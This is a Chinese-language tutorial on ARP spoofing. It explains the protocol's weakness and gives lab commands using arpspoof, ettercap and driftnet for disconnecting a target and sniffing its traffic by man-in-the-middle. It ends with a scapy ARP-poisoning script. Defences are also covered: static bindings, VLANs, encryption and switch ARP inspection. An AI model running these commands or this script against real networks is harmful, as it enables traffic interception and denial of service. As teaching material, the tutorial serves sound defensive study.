tell网关arp包正常吗_ARP欺骗攻击及防御

文章来源:知了堂冯老师原创

1.回顾
ARP协议
地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址,说白了就是将IP地址转化为MAC地址。
2.ARP缓存
如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的
ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存
3.ARP协议安全问题
ARP协议在设计存在着什么安全问题? ARP广播请求/应答 ARP缓存
ARP欺骗 (ARP Spoofing) 发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。
4.ARP攻击原理
PC1和PC2正常通信的时候,会双方会记录对方的IP和MAC地址的映射,就是生成ARP缓存表,当PC1信息发送至交换机端口1的时候再转发到PC2,交换机同样会记录MAC1,生成一条MAC1和端口1的映射,之后交换机可以跟MAC桢的目的MAC进行端口转发。
如果现在有一台PC3,当PC1和PC2建立关系的时候,PC3处于监听状态,也就是会把广播包给丢弃,但PC3同样也可以把包抓起,并回复虚假包,告诉PC1,我是PC2,那么PC1就收到了两条PC2的回应包(一个真的,一个假的),PC1不知道谁是真谁是假,所以PC3就可以连续发包,覆盖掉真正的PC2的包,与PC1建立联系,进行ARP欺骗
5.欺骗实战
5.1断网攻击
实验准备
攻击机:kali ip:192.168.2.135
靶机 :win10 ip:192.168.2.196 网关:192.168.2.1
攻击机发起攻击 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1
5.2 流量截获
实验准备
攻击机:kali ip:192.168.2.135
靶机 :win10 ip:192.168.2.196 网关:192.168.2.1
攻击机发起攻击
arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.1 目标主机网关192.168.2.196
echo 1 >> /proc/sys/net/ipv4/ip_forward
用ettercap命令进行嗅探 -T 文本模式 -q 安静模式
-M 中间人攻击 ettercap -T -q -M ARP /192.168.2.1// ///
用driftnet进行流量监控靶机访问页面, 显示图片 driftnet -i eth0
6.防御
6.1静态绑定关键主机的IP地址与MAC地址映射关系
网关/关键服务器 "arp -s IP地址 MAC地址 类型"
6.2使用相应的ARP防范工具
ARP防火墙
6.3使用VLAN虚拟子网细分网络拓扑
6.4加密传输数据以降低ARP欺骗攻击的危害后果
Win 7下直接运行cmd,arp -s会出现下面的错误提示:
ARP 项删除失败: 请求的操作需要提升。
ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。
(英文版提示:The ARP entry addition failed: Access is denied. )
如何解决呢?
运行arp -s需要用管理员身份运行,
进入windowssystem32文件夹找到cmd.exe,右键“以管理员身份运行”,接下来具体做法是:
1、先运行:netsh i i showin 找到正在使用的网卡idx号
2、然后运行:netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48就可以进行绑定了,这里11是idx号,后面是ip地址与物理地址。
3、输入 arp -a查看
在Win7用ARP -D并不能完全的删除绑定
必须使用
netsh -c "i i" delete neighborsIDX (IDX改为相应的数字)
才可删除MAC地址绑定
6.5动态ARP检测
动态 ARP 检测(DAI)可用来验证网络中的 ARP 包,会拦截、记录并丢弃带有无效 IP-MAC 地址映射的 ARP 包,可以保护网络免受中间人攻击的影响。动态 ARP 检测课确保只允许有效的 ARP 请求和回应被转发。
配置步骤为:
1在一个或多客户VLAN 上启用:
switch(config)#ip arp inspection vlan vlan-range
在该命令中,可指定单个 VLAN ID ,用连字符分隔的 VLAN ID 范围或用逗号分隔的 VLAN ID 列表。
2将端口指定为可信。
switch(config)#interface type mod/numswitch(config-if)#ip arp inspection trust
3验证配置
switch#show ip arp inspection vlan vlan-id
7.工具编写
#coding=utf-8
from scapy.all import *
import sys
import os
class ar:
#mac地址获取
def get_mac(self,ip_address):
try:
#发包获取mac
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2)
except Exception as e:
print(e)
else:
for send,rcv in ans:
print(rcv[ARP].psrc+"---->"+rcv[Ether].src)
return rcv[Ether].src
pass
#中断arp攻击
def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
print("[-] Restoring target ……")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac))
# os.kill(os.getpid(),signal.SIGINT)
pass
#arp攻击
def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
try:
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac))
except KeyboardInterrupt:
restore_target()
pass
def main():
#网卡
interface="eth0"
#目标ip
target_ip="192.168.75.11"
#网卡ip
gateway_ip="192.168.75.1"
packet_count=1000
conf.iface = interface
conf.verb =0
arp=ar()
#获取网卡mac
gateway_mac=arp.get_mac(gateway_ip)
if gateway_mac ==None:
print("[!] Failed to get target MAC. Exiting.")
else:
print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac))
#获取目标mac
target_mac=arp.get_mac(target_ip)
if target_mac==None:
print("[!] Failed to get target MAC Exiting.")
else:
print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac))
#arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac)
arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)
if __name__=="__main__":
main()
更多信安干货文章,请关注专栏知了堂禁卫实验室
知了堂禁卫实验室zhuanlan.zhihu.com